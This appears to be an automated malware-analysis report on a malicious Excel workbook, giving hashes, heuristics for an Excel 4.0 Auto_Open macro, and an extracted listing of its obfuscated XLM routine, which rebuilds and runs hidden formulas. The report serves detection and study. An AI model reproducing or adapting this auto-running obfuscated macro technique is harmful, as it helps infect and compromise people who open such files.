Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6df88cc2250a6b14…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:57 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e0510a0bb28e2d2e92505e1973803fbe SHA-1: 68e481a07be53f5aae085015b32031c2774919f3 SHA-256: 6df88cc2250a6b146091f392f20c3bcc350727a34bb338ef5be01dade2df338d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6578 bytes
SHA-256: 2f0a37599043883418e6155ccd4805655a33dac2a3a2353aefaad8cee29dbd58
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PDQpZwvFZ
' 0018     25 LABEL : Cell Value, String Constant - aEXPaAsdnN len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H159 
' 0018     20 LABEL : Cell Value, String Constant - bCucj len=0 
' 0018     26 LABEL : Cell Value, String Constant - bKxDFDjmWqr len=0 
' 0018     25 LABEL : Cell Value, String Constant - GFzIzbNOCF len=0 
' 0018     24 LABEL : Cell Value, String Constant - hmBpSZaQU len=0 
' 0018     22 LABEL : Cell Value, String Constant - HrZFsZT len=0 
' 0018     27 LABEL : Cell Value, String Constant - IksrOdhRbvlW len=0 
' 0018     23 LABEL : Cell Value, String Constant - IlJdZSAi len=0 
' 0018     20 LABEL : Cell Value, String Constant - mBKYH len=0 
' 0018     24 LABEL : Cell Value, String Constant - mZCiYkVBy len=0 
' 0018     21 LABEL : Cell Value, String Constant - nIXJjj len=0 
' 0018     27 LABEL : Cell Value, String Constant - oLTYFUdSMjea len=0 
' 0018     26 LABEL : Cell Value, String Constant - RdShMGsSICJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - UukIW len=0 
' 0018     24 LABEL : Cell Value, String Constant - uykGQoTxn len=0 
' 0018     23 LABEL : Cell Value, String Constant - UYmyqWtT len=0 
' 0018     24 LABEL : Cell Value, String Constant - xKEdeQMwC len=0 
' 0018     22 LABEL : Cell Value, String Constant - YQUUyPa len=0 
' 0018     27 LABEL : Cell Value, String Constant - YzVBzcfwoEqE len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZZxYDio len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PDQpZwvFZ,H75,"SET.NAME("YQUUyPa",VALUE("0"))",""
'  PDQpZwvFZ,H77,"SET.NAME("HrZFsZT",YQUUyPa)",""
'  PDQpZwvFZ,H80,"SET.NAME("IksrOdhRbvlW",YQUUyPa)",""
'  PDQpZwvFZ,H83,"SET.NAME("xKEdeQMwC",COUNTA(hmBpSZaQU))",""
'  PDQpZwvFZ,H86,"SET.NAME("YzVBzcfwoEqE",COUNTA(GFzIzbNOCF))",""
'  PDQpZwvFZ,H89,[],""
'  PDQpZwvFZ,H92,"SET.NAME("IlJdZSAi","")",""
'  PDQpZwvFZ,H95,"HrZFsZT",""
'  PDQpZwvFZ,H97,"SET.NAME("mBKYH",HLOOKUP("*",hmBpSZaQU,HrZFsZT,FALSE))",""
'  PDQpZwvFZ,H100,"UYmyqWtT",""
'  PDQpZwvFZ,H103,"SET.NAME("aEXPaAsdnN",YQUUyPa)",""
'  PDQpZwvFZ,H107,[],""
'  PDQpZwvFZ,H111,"aEXPaAsdnN",""
'  PDQpZwvFZ,H113,"bKxDFDjmWqr",""
'  PDQpZwvFZ,H116,"ZZxYDio",""
'  PDQpZwvFZ,H120,"bCucj",""
'  PDQpZwvFZ,H125,"SET.NAME("nIXJjj",VALUE(HLOOKUP("*",GFzIzbNOCF,bCucj,FALSE)))",""
'  PDQpZwvFZ,H127,"RdShMGsSICJ",""
'  PDQpZwvFZ,H131,"IlJdZSAi",""
'  PDQpZwvFZ,H133,"IksrOdhRbvlW",""
'  PDQpZwvFZ,H138,NEXT(),""
'  PDQpZwvFZ,H140,"mZCiYkVBy",""
'  PDQpZwvFZ,H143,"SET.NAME("f",INT(T(FORMULA(T(IlJdZSAi)&"",""&T(mZCiYkVBy)))))",""
'  PDQpZwvFZ,H148,"UukIW",""
'  PDQpZwvFZ,H151,NEXT(),""
'  PDQpZwvFZ,H154,RETURN(),""
'  PDQpZwvFZ,H180,"SET.NAME("oLTYFUdSMjea",H75)",""
'  PDQpZwvFZ,H184,"hmBpSZaQU",""
'  PDQpZwvFZ,H186,"SET.NAME("GFzIzbNOCF",R78C14)",""
'  PDQpZwvFZ,H190,"SET.NAME("UukIW",197)",""
'  PDQpZwvFZ,H192,"SET.NAME("uykGQoTxn",8)",""
'  PDQpZwvFZ,H196,oLTYFUdSMjea(),""
'  PDQpZwvFZ,H197,HALT(),""

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